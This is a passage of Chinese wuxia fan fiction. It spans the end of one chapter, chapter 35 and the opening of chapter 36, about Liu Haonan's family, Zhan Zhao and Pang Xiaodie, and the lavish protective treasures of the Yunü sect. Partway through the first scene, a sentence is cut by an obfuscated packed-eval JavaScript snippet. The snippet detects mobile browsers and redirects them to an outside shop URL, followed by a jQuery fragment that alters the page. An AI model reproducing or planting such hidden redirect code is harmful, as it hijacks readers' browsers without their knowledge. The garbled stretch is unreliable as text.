他顿了顿,刻意低下头,扯了扯自己身上那件洗得发白、袖口还打着个不甚精巧补丁的青布短衫,又抖了抖空荡荡的袖子,长长叹了口气,那叹息在寂静的夜里显得格外夸张:“再看看您儿子我……跟着我师傅他老人家(他特意强调了‘我师傅’,瞥了父亲一眼),风餐露宿是常事,衣裳破了自个儿补,别说冰蚕丝了,连块完整的细棉布都得省着穿。我师傅您也是知道的,游戏人间,洒脱不羁,喝壶好酒兴致来了能掷千金,囊中羞涩时也能跟酒铺老板赊账三天。他老人家除了教我那些稀奇古怪又实用的本事,也没给过我啥能拿得出手、亮闪闪的宝贝防身撑场面。” 他抬起眼,眨巴着,试图在月光下显得更加真诚而无辜,“爹,您可是得了我师伯陈希夷真传的,是咱们北汉皇室的脸面,也是华山一脉如今的掌教真人吧?这威风,这气派,总不能……全让玉女门给比下去吧?儿子这不也是为咱们华山派、为咱老刘家着想嘛!” 他凑得更近些,脸上露出个讨好又狡黠的笑,伸出两根手指比划着:“您手指缝里,随便漏那么一两件师伯传下的宝贝给儿子撑撑场面呗?我也不贪心,就要个能防身的,最好用起来也威风点,别让妹妹下次再用她那冰蚕丝网笑话我……” 他越说越来劲,眼睛里闪着期待的光。他心想,父亲是师伯的亲传弟子,堂堂掌教(虽说是流亡的),总该有点压箱底的好东西吧?就算没有妹妹那么多,一件两件总该有。 这番话,如同细密的牛毛针,精准无比地扎进了刘皓南心中最窘迫、最难以言说之处。他眼前瞬间闪过许多画面——那同样是少年时,在华山之巅,师门清贫,道统讲究的是修身克己、返璞归真。为炼制一面像样的阵旗,他得亲自上山采麻、剥皮、十指搓揉麻绳直至鲜血淋漓、结满厚茧;师妹穆桂英性子更拗,为磨出十二把合用的柳叶飞刀,日夜不休地在溪边青石上反复打磨,双手遍布细碎伤口,那“嚓嚓”的磨刀声仿佛还在耳边。至于华山派那间名义上的“宝库”……空荡得能跑马,除了灰尘和几个空空如也的博古架,连老鼠都嫌弃,懒得在里面做窝。师傅陈希夷常年一件洗得发白的旧道袍,袖口磨出了毛边也依旧穿着,言传身教皆是“大道至简,不假外物”。华山道统,博大精深,奥妙无穷,重的是“清心寡欲,以俭养德”,以自身修为感悟天地大道,岂是依赖外物、炫耀法宝之辈?聂隐娘如此娇纵望舒,予取予求,在刘皓南看来,实非正道,恐于修行心性有碍! 可这些道理,在儿子那双写着“你肯定藏私了”、“别家师傅(师门)都那么大方”的眼睛注视下,竟一时哽在喉头。月色下,刘皓南的脸色变了又变,一阵红一阵白。那是羞恼(被儿子质疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185062|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “穷”)、是心疼(自己也是这般苦过来的,如今儿子跟着不靠谱的师叔似乎也没沾到什么“物质光”)、是身为人父兼华山派现任掌教(尽管是流亡状态)却无法满足儿子这点小小“虚荣”的无奈,还有被儿子那“你肯定有,就是舍不得”的眼神看得无地自容的窘迫。种种情绪交织,直冲头顶。他下意识摸了摸自己怀中,除了那枚从不离身、蕴含特殊意义但绝非攻防法宝的墨玉棋子,以及几道自己凭借深厚修为亲手绘制、威力不俗但需要相当功力才能激发运用的高阶保命符箓(给现在功力尚浅的朔儿,他也用不了,强行使用反受其害),确实……囊中羞涩,拿不出什么能“光芒万丈”、“撑起场面”的现成宝贝法器。难道要给儿子一叠空白符纸和朱砂,让他自己练?那更不像话了!自己当年也是这么过来的,不,甚至更苦,哪有伸手就来的宝贝? “胡闹!” 他终于有些恼羞成怒,一把拂开儿子扯着衣袖的手,声音压得极低,却带着难以掩饰的狼狈与气短,“法宝外物,皆是虚妄!华山道统,重在修心修己,感悟天地!你师傅……你师傅没教你吗?想要那些花哨东西,寻你师傅去!他见识广,门路多!” 他把“皮球”踢给了辈分更高,但也同样不按常理出牌的师叔凌霄子,语气甚至因为窘迫而显得有些急躁,仿佛这样就能掩盖华山派一脉相承的“清贫自守”和自家此刻真实的“捉襟见肘”,以及自己当年也是这般一无所有、全靠双手挣来的经历。 说罢,他几乎是仓皇地转身,带着一股子被揭了老底的羞愤,掀开舱帘钻了进去,仿佛再多在儿子那“殷切”又“了然”的目光下停留一刻,自己身为父亲和掌教的那点颜面,连同华山派“清静无为”的门面,就要一起荡然无存了。 船舱内,杨排风被细微的动静惊动,朦胧间睁开眼,借着舱外漏进的月光,看到丈夫背对着门口,身影显得有些僵硬,耳根似乎还有些发红:“怎么了?朔儿又在闹你?” 她的声音带着刚醒的沙哑,却柔和依旧。她与刘皓南结缡十数年,深知丈夫性子沉稳内敛,修为精深,对敌制胜多靠谋略与自身硬功夫,似乎……确实从未见他依赖过什么奢华奇巧的法宝。华山派想来便是这般注重内在修炼、不重外物的门风,丈夫大概也真的没有什么现成的宝物可以随手给儿子。 刘皓南在榻边坐下,自然而然地将妻子的手拢入掌心。那双手如今保养得宜,不再见早年执棍弄棒、操持粗活时留下的薄茧,触手温软,指节匀亭。然其干燥的掌心与安稳的温度,却是十数年相依岁月沉淀下的熟稔,透过相贴的肌肤,无声熨帖着他心头残留的些许窘迫与纷乱。 他闷声道,语气里还残留着未散的窘迫:“无事,朔儿那小子……又在异想天开,说些孩子气的话。” 他难以启齿的是,儿子并非完全异想天开,而是直指了一个让他这个当爹的有点尴尬的“现实”——对比之下的清贫,以及自己这个父亲似乎无法给予儿子那些“体面”的外物。 杨排风却轻轻笑了,她虽未听全父子俩的对话,但能猜出个大概,定是儿子羡慕妹妹有那些神奇宝贝,跑来缠磨父亲了。她反手握住丈夫微凉的手指,声音温柔:“朔儿还是个半大孩子,看见妹妹有那些新奇玩意儿,心里羡慕,说几句玩笑话,也是常情。你呀,莫要与他较真,自家儿子,还不知道他?有口无心罢了。” 她顿了顿,语气更加柔和,带着理解和宽慰,“你的本事,我和朔儿都清楚。那些外在的东西,有了是锦上添花,没有,咱们一家不也这么过来了?朔儿跟着他师傅,学的是安身立命、逍遥自在的真本事,这就很好了。” 她的话既宽慰了丈夫,也表明了她更看重丈夫的修为和一家人的平安,而非那些虚浮的外物。 舱外,刘朔听着舱内父母低低的说话声,冲着紧闭的舱门做了个夸张的鬼脸,吐了吐舌头。他蹲在微微摇晃的船头,随手捞起一捧冰凉的江水,看着水中那轮皎洁的明月在自己掌心破碎、荡漾,又慢慢聚合。 “啧,老爹还是这么死要面子,嘴硬。” 少年低声嘀咕,语气里带着七分调侃,三分不易察觉的失落,“明明就是没有嘛……我师傅随性得很,有啥给啥,没有也不强求;爹倒是正经掌教,可华山派这家底……” 他想起被妹妹用冰蚕丝网吊起来的“惨痛”经历,想起她那些令人眼花缭乱的宝贝,心里那点小小的、属于少年人的羡慕和比较之心,又酸溜溜地冒了个头。但转念一想,妹妹在玉女峰修行,有聂隐娘那样霸气又阔绰的师傅宠着,自然不同;自己跟着师傅凌霄子游戏人间,虽然没啥值钱法宝,但自由自在,见识广博,学的本事五花八门又实用,师傅虽然“穷”,可对自己是真心好,功夫也倾囊相授,似乎……也不赖?至于父亲……唉,看来华山派是真“清高”,爹也是真没什么存货。 “算了算了,” 刘朔甩甩手上的水珠,在衣服上随意擦了擦,拍拍手站起身,望着江心那轮随波荡漾的碎月,脸上重新扬起那种混合着洒脱和狡黠的笑容,这笑容颇有几分凌霄子的影子,“宝贝没有就没有吧,小爷我靠的可是实打实的真本事和聪明脑袋!师傅说了,外物再好,不如自个儿活得痛快明白!下次妹妹再想用网兜我,看我不破了她的法宝!” 想到这里,他又有点跃跃欲试,琢磨起从师傅那儿学来的、专破各种丝网绳索的巧劲手法来。 夜风拂过宽阔的江面,带来湿润的水汽和淡淡的凉意。孤舟在如银的月色中轻轻摇晃,顺着水流,向着未知的前路缓缓漂去。船舱内,夫妻二人依偎着低声说着话,妻子的宽慰渐渐抚平了丈夫那点不便明言的窘迫;船头,少年抱膝坐下,望着天边那轮渐渐西斜的明月,不知在想些什么,嘴角却噙着一丝释然又带着点调皮的笑意,开始盘算下次见到妹妹,该如何“一雪前耻”。 更深露重,江心渐渐起了薄雾,如轻纱般笼罩四野。这叶小舟,载着一家三口,也载着华山道统的清贫自守与深厚修为,映衬着玉女门的豪阔泼天与随心所欲,更承载着父子间那难以言说的窘迫、理解与深藏的温情,向着黎明将至的方向,在静谧的江雾中,缓缓前行。 35. 重女轻男的玉女门 烛影在暖阁内摇曳,将相对而坐的两道人影投在粉壁上,拉得细长。茶烟自粗陶壶嘴袅袅升起,试图软化空气中凝滞的沉重,却终究徒劳。展昭指腹无意识地摩挲着粗陶茶盏温热的边缘,力道之大,几乎要将那粗粝的陶面磨平。他素来沉默寡言,不喜赘述,但面对妻子庞小蝶那双盛满忧惧的眼眸,他强迫自己事无巨细地复述昨夜御街那场惊心动魄——从察觉金府异样时的疑心,到猝不及防中咒时的阴寒,再到神智被血色侵蚀、巨阙剑几乎脱手劈向更夫那一瞬间的冰冷绝望。说到惊险处,他语音几不可察地微颤,仿佛那青石板上迸裂的刺耳火星,再次灼痛了他的耳膜。 “刘先生为我拔除血魇咒时,曾言我经脉中残存一股沛然清圣之气,方能护住心脉一线清明,未致沉沦。” 展昭下意识抬手,按了按后心位置,那里似乎还残留着被古玉诀流光击中时的灼热与随之而来的清凉,“若非此气,恐怕此刻……” 他顿了顿,没再说下去,但未尽之意,比言语更令人心头发紧。 “师兄!” 庞小蝶指尖骤然收紧,茶盏倾斜,微烫的茶汤泼湿了她海棠红的裙裾,留下深色水渍。她猛地站起,头上珠钗随之乱颤,泪珠已如断线珍珠般滚落,“你总说江湖人当舍生取义,护卫百姓、忠于王事是天职……可你若真有个万一……” 她哽咽着,上前一把抓住丈夫结实的手腕,力道大得让展昭都感到了疼痛,“前日,珏儿和瑜儿还缠着要你教他们剑法,你若……你若真出了事,我们娘仨……” 后面的话被汹涌的泪意堵在喉间,化作破碎的泣音。 她突然转身,扑向一侧的梨花木妆台,动作有些慌乱地打开一个暗格,取出一个尺许长的紫檀木匣。那木匣雕工繁复精致,缠枝莲纹栩栩如生,锁扣竟是一块触手温润的上好羊脂白玉——这正是当年她出阁时,师傅聂隐娘私下塞给她的嫁妆之一,她一直珍而重之,甚少示人。 “这些……” 庞小蝶的声音带着未散的哭腔,却异常坚定。她开启匣箧,霎时间,暖阁内流光溢彩。鹅黄锦缎衬底上,静静躺着一整套点翠头面:步摇以金银为托,缀着数颗拇指肚大小的明珠,轻轻一晃便漾起七彩光晕;一对白玉耳珰小巧玲珑,对着烛光细看,内里竟阴刻着细密繁复的符文,隐隐有灵气如丝如缕地流转;一支珊瑚发簪红艳似血,簪尖隐有暗金色纹路,在烛光下如活物般缓缓游动…… 件件皆非凡品,灵气内蕴,分明是炼器宗师耗费心血所制,偏偏匠心独运,做成了闺阁女儿家常佩戴的首饰形制,华美精致,不惹人疑。展昭望着妻子郑重其事、甚至带着几分“终于用上了”的表情,一时怔忡无言。他几乎是下意识地,伸手握住了腰侧巨阙剑冰冷的剑柄。这柄跟随他十余年、饮过无数贼寇鲜血的玄铁重剑,剑鞘早已被岁月和无数次搏杀磨出了毛边,黄铜吞口处,一道与辽国高手殊死拼杀留下的深刻裂痕依旧狰狞。此剑,已是他在外行走最体面、也几乎是唯一的“法宝”。 他脑中不受控制地闪过小师妹刘望舒的模样。昨日惊鸿一瞥,那孩子随手掷出玄火古玉诀时,随意得如同抛掷一颗石子;昨夜意识模糊间,似乎还听她嘀咕过,玉女门宝库里这等品阶的物件“多得能铺鱼池底”。而他这个被师傅亲自带回山、名义上的“大师兄”,行走江湖多年,最拿得出手的,除了这柄巨阙剑,便是开封府公孙先生赠予的一筒精铁袖箭,还是衙门制式。 “师兄,你带着这些,” 庞小蝶拈起一支金镶玉的掩鬓,轻轻往展昭发髻间比划,语气认真,仿佛在交代一件再平常不过的事,“遇险时,总能抵挡一二。师傅当年说过,这支步摇里封着她亲手加持的三道护身咒,可挡刀兵邪法;这对耳珰能破迷障幻术,清心明目;这发簪……” 她指着那支红珊瑚簪子,“关键时刻,以血激发,可绽血芒,锐不可当……反正我们师姐妹下山时,师傅和师姐们都会给准备这些的。” 展昭抬手,制止了妻子的动作,将那支沉甸甸、雕琢精工、分明是女子鬓边饰物的金镶玉掩鬓轻轻取下。入手微凉,分量不轻。他试着想象自己与敌对峙时,猛然拔下此簪,高喝一声“看簪”的场景,嘴角不由自主地扯动了一下,却只扯出一个极其复杂、难以言喻的弧度。这画面,与他一贯沉稳刚毅、以巨阙堂堂正正对敌的形象,何其荒谬,又何其……刺目地提醒着他某种一直被忽略的差异。 “噼啪”一声,烛花爆响,惊醒了怔忡中的人。展昭默然,将手中那支掩鬓缓缓放回紫檀匣中铺着的鹅黄锦缎上,动作轻柔得近乎迟缓。他想起二十年前那个风雪交加的夜晚,玉女门掌门聂隐娘——那位仙姿绝伦、气度霸绝的世外高人——将他从尸山血海的边关战场带回玉女峰。彼时,聂隐娘衣袂飘飘,周身似有清光缭绕,弹指间便镇伏了追击的敌军,仿佛九天仙子临凡,又带着不容置疑的威严。她将他带到宝光隐隐、灵气氤氲的藏珍阁前,玉手一挥,阁门洞开,内中珠光宝气几乎晃花了年幼展昭的眼。然而,聂隐娘的声音清冷而平静,带着洞悉世情的了然:“玉女门自开派祖师起,便立志庇护天下女子,门中传承、法宝,多为女子形制,以利行走世间,不惹瞩目。” 她的目光掠过满室钗环佩饰、绫罗法宝,最后落在一柄陈列于侧、古朴厚重的玄铁剑上,“此剑名‘巨阙’,乃昔年一位前辈所留,为数不多适合男子使用的攻伐之宝。你既入我门下,此剑便予你护道。记住,外物再利,终是依托;心正剑直,方为根本。” 那时,他以为这是师傅给予的莫大信任与独一无二的期许,为此,他甘之如饴。 可直到此刻,看着妻子拿出这整整一匣子、任何一件放到江湖上都足以引起腥风血雨的法宝首饰,听她用那样理所当然、甚至带着点“每个师姐妹都有的”平淡语气介绍着它们的功用……某种深藏心底、早已知道却从未如此刻骨感受的认知,才如冰冷的雪水,漫过心间。并非亏待,而是……他本就是这以女子为尊、以庇护女子为任的门派中,一个极其特殊,甚至有些“异类”的存在。师门待他,授以上乘功法,予以神兵利剑,已是尽其所能在其框架内给予的最好。而那些琳琅满目、花样翻新的护身法宝,从来就不是为他这样的“大师兄”准备的。他的路,从一开始,就被设定为手持“巨阙”,以身为盾,以剑为锋,披荆斩棘。而师妹们的路旁,则铺满了师门千百年积攒下来的、为女子量身打造的华丽“庇护”。 “师傅她……” 展昭的目光落在匣中那片璀璨珠光上,话在舌尖滚了又滚,最终只化为一句平静的陈述,“对你们,自是极好的。” 玉女门对门下女弟子,从来都是这般倾力呵护,阔绰大方,这是门规,是传统,亦是宗旨。 庞小蝶却仍未完全察觉丈夫心绪深处那细微的波澜,只以为他在感慨师门厚赐,接口道:“师傅和师姐们常说,世道对女子苛严,咱们玉女门立派之本便是庇护女子,这些东西门中积攒了许多,自然要给弟子们备着防身。倒是师兄你,” 她抬起头,眼中是纯粹的信任与习以为常,“你是男子,又是师傅看重的大弟子,有巨阙神剑在手,一剑破万法,自然用不着这些女儿家的精巧玩意儿……” 她的语声,在对上丈夫目光的刹那,微微一顿。 展昭正看着她,那双素来沉静如深潭的眼眸里,此刻是一片深不见底的幽邃。没有怨怼,没有不平,只有一种彻悟后的清明,以及清明之下,一丝难以言喻的、独行于另一条道路上的孤直。就像山巅的松与谷中的幽兰,各得其位,却注定拥有不同的风景与风雨。 更鼓声隔着院墙闷闷传来,已是三更天了。 展昭默默起身,将搁在一旁的巨阙剑仔细系回腰间。剑穗上那缕褪了色的璎珞,还是多年前庞小蝶未嫁时,偷偷用彩线编了送给他的。他动作沉稳,一丝不乱。 “明日还要去开封府点卯。” 他背对着妻子,推开暖阁的格扇门,夜风裹挟着清冷的桂香涌入,吹得案头烛火剧烈摇摆,明灭不定,“这些首饰,是你师门所赐,你好生收着,以备不时之需。我带着,于礼不合,于用……也不惯。” 庞小蝶抱着那沉重的紫檀木匣,看着丈夫的背影,忽然间清晰地感受到了一种距离。那并非情感的疏远,而是一种源于道路根本不同的、静默的隔阂。她拥有师门给予的、琳琅满目的庇护,而他,自始至终,只有手中这一把剑。当年玉女峰上,她们这群师妹围着师傅师姐,笑语嫣然地挑选合心意的法宝时,大师兄是否就是这样,独自在一旁,一遍又一遍地,擦拭着他那柄唯一而沉重的剑? 檐下风声骤急,一声紧过一声,敲碎了汴京城深秋的夜色。 展昭立于阶前,望着皇城方向沉沉的夜幕。巨阙剑在他身侧,于清冷月色下泛着幽沉而内敛的乌光。这柄师门所能给予他的、几乎唯一的攻伐重器,此刻握在手中,仿佛承载了比以往更重的份量。那不仅是兵器的重量,更是道路选择的重量,是独属于他的、以身为刃的重量。没有琳琅满目的法宝护身,没有千变万化的巧器御敌,唯有手中剑,胸中气,心中道。 然而,那沉重只令他背脊挺得更直。他缓缓收拢五指,更紧地握住了剑柄。剑身传来熟悉的、冰冷而坚实的触感,以及其中蕴藏的、与他血脉相连般的锋锐与无前。玉女门的珠翠华光,是庇护女子的温柔铠甲;而他手中的巨阙,是开道的锋刃,是荡寇的雷霆,是他展昭选择的、截然不同却同样坚定的道路。 夜风更烈,卷起他墨色的衣摆,猎猎作响。展昭深深吸了一口沁凉的空气,眸中所有细微的波澜已归于一片深潭般的沉静与坚定。他迈开步伐,走入深沉的夜色,背影挺拔如孤峰之松,仿佛任何风雨,都无法撼动这以剑为骨的脊梁。 晨光熹微,漫过开封城鳞次栉比的青灰瓦檐,在湿润的石板路上投下清冷的光晕。展昭立在府邸门前,一身绛红官袍衬得身形愈发挺拔。他习惯性地整了整腰间佩剑与袖箭囊,深吸一口带着秋露微凉和市井烟火初醒气息的空气,正待迈步前往府衙点卯,身后却传来一阵急促而细碎的脚步声。 “师兄!” 展昭回头,见妻子庞小蝶手捧一个沉甸甸的锦绣包袱,疾步追至门口,微微喘息,显然是一路小跑而来。她未及梳妆,乌发只用一根寻常木簪松松绾着,素面朝天,眼圈却微微泛着红,是昨夜担忧未散,亦是晨起急迫所致。那包袱用上好的湖绸包裹,面上以金线密绣缠枝莲纹,在渐亮的晨光下流光溢彩,一望便知内中物事不凡。 “今日要议的案子,凶险异常,我昨夜思来想去,难以安枕。” 庞小蝶将包袱不由分说地塞向展昭怀中,语气是少有的坚持,甚至带着几分不容置疑的意味。她指尖灵巧地挑开包袱一角,霎时间,珠光宝气潋滟而出——点翠步摇上拇指大的明珠流转着温润光晕,白玉耳珰上细如蚊足的符咒在光线下若隐若现,金镶玉的掩鬓、红珊瑚发簪……每一件都精巧绝伦,隐有灵光暗涌,分明是昨夜那匣首饰中的精华。 展昭看着这包珠翠生辉、明显是女子闺中之物的钗环,只觉得头皮一阵发麻。他几乎能立刻想象出,若被张龙、赵虎那两个促狭鬼瞧见,会是怎样挤眉弄眼的窃笑;公孙先生那双洞察秋毫的眼睛,又会如何带着了然与调侃微微挑起眉梢。他素来端方持重,何曾有过这般携带女子饰物招摇过市的窘迫? “小蝶,这……于礼不合,我带着实在不像话……” 展昭试图推拒,声音里满是无奈。 “有何不像话?保命要紧!” 庞小蝶却异常执拗,她抬起眼,晨光在她未施脂粉的脸上投下淡淡阴影,那神情不再仅仅是担忧,更透着一股曾在深宫之中历练出的、洞悉人心与拿捏分寸的笃定。她太了解自己这位大师兄了,正直、重诺、责任心极强,更看不得身边人忧心如焚。她放缓了声音,眼圈更红,语气却异常清晰:“师兄,你若不肯带,便是存心要我今日坐立难安,时时悬心。昨夜凶险,你亲身经历,难道还想我、想孩子们再经历一次提心吊胆?这些东西,你带着未必用上,但带着,我方能稍稍心安。” 她顿了顿,声音轻柔却带着斩钉截铁的力量,“今日,你非带上不可。” 展昭望着妻子眼中那份混合着恳求、担忧与不容置喙的坚持,拒绝的话在喉头滚了几滚,终究咽了回去。这神情,依稀让他想起多年前,在禁宫深处初次见到她时的模样——那时她还是被困于华丽牢笼的宠妃,看似柔弱,眼角眉梢却藏着同样的坚韧与决断,只是如今,这份决断用在了对他的关切与“逼迫”上。 最终,他几不可闻地叹了口气,近乎僵硬地伸出手,接过了那个沉甸甸、光灿灿的包袱。入手温软,是绸缎的质感,内里钗环相触,发出几声极轻微却清脆的“叮咚”声响。这声音惊得展昭立刻警觉地四下一瞥,幸而清晨巷口无人。他做贼似的飞快将包袱塞进怀中官袍之内,小心地掩了掩前襟。然而那包袱体积着实不小,即便他尽力抚平,绛红官袍的前胸处,依然鼓起一个不甚明显、但细看绝对不自然的弧度,隐约透出钗环簪珥的轮廓。 去往开封府衙的路,展昭第一次觉得如此漫长。他果断放弃了平日惯走的、相对热闹宽敞的御街, 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汴京城的早市渐渐苏醒,人声渐稠。远远看见一群身着儒衫的太学生说笑着从对面走来,展昭心头一跳,急忙转身,假装对路边一个刚刚出摊的字画摊产生了浓厚兴趣,背对着街道,低头凝视着一幅山水画,仿佛要从中看出什么玄机。 “哟,展大人!今日好雅兴,也来赏画?” 字画摊主是个眼尖的,立刻热情招呼,“您看看这幅,说是李公麟的真迹,这线条……” 展昭含糊地“嗯”了两声,根本不敢接话,待那群太学生说笑着走远,才如释重负,匆匆丢下一句“再看看”,便头也不回地快步离开。怀中,那冰凉坚硬的玉簪金钗紧贴着胸膛,随着心跳微微起伏,激起一阵阵陌生的、令他心慌意乱的战栗。他甚至回想起三年前追捕一名江洋大盗,深夜独闯龙潭虎穴般的贼人老巢时,也不曾如现在这般心慌意乱,汗湿重衣。 最难捱的一段路,莫过于经过相国寺前那片开阔空地。此地每逢初一十五,便是城中女子购买钗环脂粉的聚集地,珠光宝气,笑语喧阗。今日虽非集市,仍有几个专卖珠花绒花的婆子,早早占据了树下的好位置,面前摆着琳琅满目的货担。展昭远远望见那些花花绿绿的饰物和聚在一起的妇人身影,头皮又是一紧,毫不犹豫地选择了绕道,宁可多走一里冤枉路,也绝不从那边经过。 当开封府衙那两扇熟悉的黑漆大门终于出现在长街尽头时,展昭几乎有种热泪盈眶的冲动。他如蒙大赦,正待快步上前,踏入那威严而令人心安的门槛,却见府衙主簿公孙策手持一卷文书,正站在门廊下与王朝低声交代着什么。 展昭心中一凛,下意识地放缓脚步,趁着还未被察觉,悄悄抬手,再次用力按了按胸前官袍,试图将那该死的鼓起痕迹抚平。然而,一切为时已晚。 公孙策似乎刚好交代完毕,抬眼望来,目光一如既往的敏锐,瞬间便捕捉到了展昭那不自然的动作,以及官袍前襟处那难以忽略的、与展护卫平日端肃形象极不相符的微鼓轮廓。 “展护卫,早啊。” 公孙策抚了抚颌下清髯,唇角勾起一抹了然的微笑,声音不高不低,却恰好能让门边值守的衙役以及近处的王朝听见。他目光在展昭前襟微妙地停留了一瞬,语带关切,却又隐含促狭:“今日这怀中……似乎格外‘充实’?可是身体有何不适,需得多加衣物?” 王朝闻言也好奇地看过来,见到展昭略显紧绷的脸色和不太自然的姿态,咧嘴笑道:“是啊展大哥,你这怀里鼓鼓囊囊的,藏了什么好东西?莫不是嫂夫人又给你准备了什么新奇吃食?” 旁边几个竖着耳朵的衙役也纷纷投来好奇又善意的目光,那眼神分明在说:素来不通风月、严谨端方的展护卫,今日这是怎么了? 展昭只觉得面皮发烫,恨不得地上有条缝能钻进去。他强自镇定,硬着头皮道:“公孙先生,王兄弟,莫要取笑。不过是……些许私人物件,不足挂齿。” “哦?私人物件?” 公孙策眼中笑意更深,他缓步走近些许,目光似无意般扫过展昭前襟那隐约透出的、绝非食物形状的轮廓,故作沉吟道,“这形状……倒不似寻常物件。莫非是给尊夫人新添置的首饰?啧,这锦袱的质地,这隐约透出的金玉之光……瞧着像是宝香斋一类老字号的手艺。展护卫,何时也如此……体贴入微了?” 王朝在一旁听得直乐,揶揄道:“就是!展大哥,平日里兄弟们向你请教武艺、探讨案情,你那是知无不言,可这体贴娘子的门道,你可从未传授过!改日定要好好请教一番才是!” 几个年轻衙役也忍不住低笑起来,交换着“原来展大哥也有这一面”的眼神。 展昭被他们你一言我一语说得面红耳赤,下意识地又抬手按住前襟,仿佛这样就能挡住那些探究调侃的目光,也能按住怀中那包“惹是生非”的钗环。他几乎是语无伦次地含糊应了两声,便匆匆对公孙策和王朝一拱手,几乎是逃也似的快步穿过门廊,向府衙内院走去。 穿过熟悉的廊庑,脚步声在青石板上回响。展昭不自觉地又伸手,隔着官袍按了按怀中那沉甸甸、硬邦邦的包袱。金玉的轮廓硌在掌心,似乎还带着庞小蝶执意要他带上时的体温,和她为他整理衣襟时微凉指尖的触感。他想起妻子为他系上包袱时微红的眼眶,那句“你若不带着,我心中实在难安,定要追到府衙去”的“威胁”犹在耳边,带着独属于她的、混合着娇蛮与深情的笃定。 此刻,这包令他窘迫不堪、横穿半座汴京城都提心吊胆的女子饰物,那沉甸甸的分量,似乎忽然不再那么难以忍受。纵然要被同僚善意的调侃弄得面红耳赤,纵然要像个初出茅庐的毛头小子般狼狈躲闪,但若能换得她眉间一缕愁绪消散,换得她在家中能少一分悬心,多一分安稳…… 似乎,也值得。 晨光越发明亮,透过廊庑一侧的格扇窗,在青石地板上投下斑驳跳跃的光影。展昭深吸一口气,停下脚步,再次整了整并无线索凌乱的官袍,这次,他的动作沉稳了许多。然后,他挺直了那永远如松如岳的脊背,不再试图遮掩怀中那点不和谐的起伏,迈着惯常坚定而稳健的步伐,向着府衙深处、卷宗堆积的签押房走去。 怀中,那被仔细包裹的簪钗随着他的步伐,偶尔极轻地相碰一下,发出细微的、几乎不可闻的“叮”声,像是妻子无言却固执的牵挂,一路相随,陪伴他步入新一天的案牍劳形与莫测风云。 而他知道,带着这包“甜蜜的负担”所要面对的同僚目光与可能的调侃,或许,才刚刚开始。 36. 洛阳府七家灭门血案 破晓的薄雾如轻纱般笼罩着小镇,街角面摊的灯笼在晨曦中泛着昏黄的光。刘皓南独坐在条凳上,一碗清汤寡水的阳春面更映衬出他彻夜无功的疲惫——昨夜他刚潜回卢善衡旧宅,此刻袖口还沾着梁上的积尘。 那宅院比他想象的更为破败。蛛网如幔帐般垂挂,梁木被虫蛀得酥软,他在黑暗中摸索了整夜,连地砖都逐块敲过,却寻不到半点有关的线索。唯有卧房榻下暗格里,那件卢善衡常穿的鸦青直裰已霉烂不堪,轻轻一扯便化作飞絮。 刘皓南揉了揉酸胀的肩颈,举箸搅动面汤。热雾氤氲中,他忽然嗅到一缕异香——不是寻常的脂粉气,倒像是汴京樊楼特制的“千金醉”,专为那些一掷千金的纨绔子弟所备。 但见晨雾中摇出一柄泥金折扇,执扇的手戴着三枚翡翠扳指,来人身着遍地织金锦袍,袍角绣着缠枝牡丹,每片花瓣都用金线掺着孔雀羽织就,日光下流转着炫目的光华。最扎眼的是他鬓边那朵碗口大的鲜红牡丹,花瓣上还沾着露水,竟像是刚摘下的。 “老人家,”这“贵公子”朝卖炊饼的老者作揖时,腰间悬的羊脂玉佩叮当作响,“在下金陵金家行三,多年未归,今日特来祭祖。”他刻意拖长的汴京官话腔调,引得邻桌几个脚夫侧目。 刘皓南的竹箸停在半空——这分明是儿子刘朔!只见他故作唏嘘地以扇掩面:“怎料老宅破败至此……记得小时候,姑母出嫁时十里红妆,光现银就抬了十大箱呢!” 卖饼老者眯眼打量他遍身的织金纹样,咂着嘴道:“当年卢家小姐出嫁是风光,可要说阔气,还得是后来续娶的洛阳二夫人!”他话音未落,街口忽传来一声清叱: “三郎!又在此胡闹!” 杨排风身着湖绸对襟褙子疾步而来,裙角缀的珍珠随着步伐摇曳生光。她梳着时兴的朝天髻,簪一支点翠凤钗,耳垂上的白玉珰随着动作轻晃,活脱脱一位精明厉害的金家二夫人。 “还不随为娘回客栈!”她一把拧住刘朔耳朵,少年立刻龇牙咧嘴地弓下腰,那朵牡丹险些掉下来。杨排风却转向老者赔笑:“小儿无状,叨扰老丈了。”她眼风似无意般扫过面摊,在刘皓南身上略一顿,唇角勾起狡黠的弧度——恰如十五年前地底城时,那个灵秀狡黠的少女。 刘皓南指节一松,竹筷“啪”地落在桌上,面汤溅湿了他洗得发白的青衫前襟。他怔怔望着妻儿远去的背影:刘朔夸张的痛呼声中藏着机警,杨排风拧耳朵的手势里带着只有一家人才懂的暗号。那朵被少年偷偷别回鬓角的红牡丹,在雾中灼灼如信号。 卖饼老者摇头轻笑:“这金家二夫人,倒比传言里更泼辣……”邻桌脚夫们哄笑着议论起金陵金家的传闻,谁也没留意面摊角落里,那个沉默的男子正用指尖蘸着面汤,在桌上画出一道蜿蜒的曲线——恰是卢善衡旧宅地下暗河的流向。 晨雾渐散,小镇在晨曦中苏醒。唯有那碗凉透的阳春面,还在原地冒着最后一丝热气。 卢善衡旧宅对面的小院中,刘皓南独立庭前,青衫随风轻动。杨排风为他披上一件厚氅,氅面是江宁绒料,衬里暗绣云纹——这些皆是刘朔从金家“借”来的财物所制。 “朔儿探得的消息,与你在卢宅所见吻合。”杨排风轻声道,“薛家二夫人的线索,值得深究。” 刘皓南摩挲着手中墨玉棋子,目光投向东方:“三十二年前的旧案,关键或许不在卢善衡本人,而在那位携款私逃的二夫人……与其洛阳母家。” 刘朔从月门转出,一身杭绸直裰,腰悬玉佩,俨然富家公子模样:“爹,船已备好!水路三日抵洛阳,沿途食宿俱已打点妥当。” 刘皓南蹙眉:“这般招摇……” “金家‘资助’的银钱不用白不用!”刘朔笑嘻嘻打断,“既要去查薛家旧事,总不能寒酸得让人看轻。” 